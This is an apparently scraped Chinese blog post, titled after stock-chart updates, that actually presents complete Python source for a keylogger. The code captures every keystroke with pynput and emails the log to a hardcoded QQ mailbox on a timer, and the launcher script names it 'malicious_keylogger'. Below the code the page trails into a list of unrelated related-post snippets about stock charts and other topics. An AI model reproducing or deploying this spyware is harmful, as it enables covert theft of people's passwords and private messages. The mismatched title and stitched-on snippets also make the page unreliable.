python程序化 k线指定时间更新_Python项目Keylogger(定时器)
一、代码
keylogger.py文件
#!/usr/bin/env python
import smtplib
import threading
from pynput import keyboard
# Create Keylogger Class
class KeyLogger:
# Define __init__ variables
def __init__(self, time_interval, email, password):
self.interval = time_interval
self.log = "KeyLogger has started..."
self.email = email
self.password = password
# Create Log which all keystrokes will be appended to
def append_to_log(self, string):
self.log = self.log + string
# Create Keylogger
def on_press(self, key):
try:
current_key = str(key.char)
except AttributeError:
if key == key.space:
current_key = " "
elif key == key.esc:
print("Exiting program...")
return False
else:
current_key = " " + str(key) + " "
self.append_to_log(current_key)
# Create underlying back structure which will publish emails
def send_mail(self, email, password, message):
server = smtplib.SMTP('smtp.qq.com', 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
# Create Report & Send Email
def report_n_send(self):
send_off = self.send_mail(self.email, self.password, "\n\n" + self.log)
self.log = ""
timer = threading.Timer(self.interval, self.report_n_send)
timer.start()
# Start KeyLogger and Send Off Emails
def start(self):
keyboard_listener = keyboard.Listener(on_press = self.on_press)
with keyboard_listener:
self.report_n_send()
keyboard_listener.join()
2.execute_keylogger.py
#!/usr/bin/env python
import keylogger
# Initialize / create keylogger
malicious_keylogger = keylogger.KeyLogger(10, '2207467@qq.com', 'pxxxxxjbh') #这里不是邮箱密码,而是授权码
# Execute Keylogger
malicious_keylogger.start()
其实将下面的代码直接加到第一人文件也可以:
malicious_keylogger = KeyLogger(10, '2207467@qq.com', 'pxxbh')
malicious_keylogger.start()
二、执行结果
三、备忘
好像输入中文程序就出错。
四、每分钟发邮件
#!/usr/bin/env python
import smtplib
import threading
from pynput import keyboard
# Create Keylogger Class
class KeyLogger:
# Define __init__ variables
def __init__(self, time_interval, email, password):
self.interval = time_interval
self.log = "KeyLogger has started..."
self.email = email
self.password = password
# Create underlying back structure which will publish emails
def send_mail(self, email, password, message):
server = smtplib.SMTP('smtp.qq.com', 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
# Create Report & Send Email
def report_n_send(self):
send_off = self.send_mail(self.email, self.password, "\n\n" + self.log)
print("发送邮件成功")
timer = threading.Timer(self.interval, self.report_n_send)
timer.start()
# Start KeyLogger and Send Off Emails
def start(self):
self.report_n_send()
malicious_keylogger = KeyLogger(5, '2207467@qq.com', 'pxxxbh')
# Execute Keylogger
malicious_keylogger.start()
https://www.youtube.com/watch?v=3d78_ttGmWI
python程序化 k线指定时间更新_Python项目Keylogger(定时器)相关推荐
- python程序化 k线指定时间更新_Python之路 14 K线时间序列管理器
在上一章中介绍了如何通过实时行情推送的Tick数据合成1分钟K线,并且如何通过1分钟K线来合成更大周期的K线.本章主要介绍如何将K线通过numpy缓存到Array,形成时间序列,并且同时生成一些技术指 ...
- python程序化 k线指定时间更新_Python获取股票历史、实时数据与更新到数据库
要做量化投资,数据是基础,正所谓"巧妇难为无米之炊" 在免费数据方面,各大网站的财经板块其实已提供相应的api,如新浪.雅虎.搜狐...可以通过urlopen相应格式的网址获取数据 ...
- python绘制k线图的步骤_Python使用PyQtGraph绘制股票行情K线图
PyQtGraph是Python平台上一种功能强大的2D/3D绘图库,相对于matplotlib库,由于其在内部实现方式上,使用了高速计算的numpy信号处理库以及Qt的GraphicsView框架, ...
- python画k线图_Python绘制K线图
不管是对量化分析师还是普通的投资者来说,K线图(蜡烛图)都是一种很经典.很重要的工具.在K线图中,它会绘制每天的最高价.最低价.开盘价和收盘价,这对于我们理解股票的趋势以及每天的多空对比很有帮助. 一 ...
- python做k线图_python做k线图(15分钟k线的意义)
北大荒... 大家对图中的巨量高开涨停是什么理解的... 庄家最后的出 日k线图又称阴阳烛,最初是日本米商用来表示米价涨跌状况的工具,后来引入股市,并逐渐风行于东南亚地区.k线图以其直观.立体感强的特 ...
- python均线选股_python选股模型均线,已知股票数据,如何用Python绘制k线日对应数据...
Q1:已知股票数据,如何用Python绘制k线日对应数据 我没遇到过 只是自己写过 有点经验 先确定时间片 然后再把tick插入就行了 Q2:使用python实现ema(指数移动平均的计算) a = ...
- python画k线图_python画k线图
广告关闭 腾讯云11.11云上盛惠 ,精选热门产品助力上云,云服务器首年88元起,买的越多返的越多,最高返5000元! import datetime import pandas_datareader ...
- python画k线_python画k线,python绘制动态k线及均线
内容导航: Q1:k线图上怎么画线 一般你看K线软件都有画图功能,以同花顺为例,在上方菜单栏找到画图,点击,会在菜单栏下方一行或者屏幕最右边一列出现相应的画图工具. Q2:求教使用python绘制K线 ...
- python 股票图表_k线图分析法_【趣味案例】用Python绘制K线图,一眼看清股市状况...
本文介绍关于[趣味案例]用Python绘制K线图,一眼看清股市状况及神一般的裸k交易法,精髓就这三步,一目了然!精髓就这三步,一目了然!(附图解析)的相关内容. [趣味案例]用Python绘制K线图, ...
最新文章
- 网课谁的最好_报补习班,还是“上网课”?利用课余时间提高成绩,网课更加适合...
- Zxing生成二维码思路和源码解析
- 如何关闭Visual Assist?
- 4、计算机图形学——光栅化、抗锯齿、画家算法和深度缓冲算法(Z-buffer)
- 针对自己网站内容的搜索引擎代码
- jQuery-基本选择器的种类
- 3.1 《数据库系统概论》SQL概述及数据定义(模式SCHEMA、表TABLE、索引INDEX)
- 《Head First 设计模式》学习笔记——状态模式
- CSS3 FlexBox布局入门简析
- python pip install pillow_Windows下Python中pip安装Pillow报错总结(转载)
- mysql binlog ignore db_MySQL binlog_ignore_db 参数的具体使用
- linux dlopen 源码,采用dlopen、dlsym、dlclose加载动态链接库
- java 中如何连接 oracle 数据库
- 使用axis的工具类 wsdl2java生成java代码,利用CXF wsdl2java生成java代码以及施用Apache Axis 1.4 wsdl2java生成java代码...
- 飞凌单片机解密_常见的IC芯片解密方法与原理解析!
- diskmark使用教程
- #java读书笔记#基础知识
- 理想电压源和理想电流源
- 【有利可图网】双十一“亮眼”设计大赏来了!!
- 看这里,教你如何快速将pdf文件翻译成中文
热门文章
- Android系统服务(SystemService)简介
- eviews曲线图怎么做_Eviews作图操作
- python如何爬取动态网页数据
- 未来天择计算机,三体吧关于计算机智能进化的讨论,拿来大家考虑一下
- Android10.0(Q) 默认应用设置(电话、短信、浏览器、主屏幕应用)
- 计算机组装竞赛结束词,技能大赛主持词结尾模板
- 陈景润定理不代表国际数学发展主流方向
- AI实现亲人“复活”|老照片修复|老照片上色,免费APP推荐
- 国密SM2前端加密,Java后台解密问题
- Javascript如何判断按下的是鼠标左键还是右键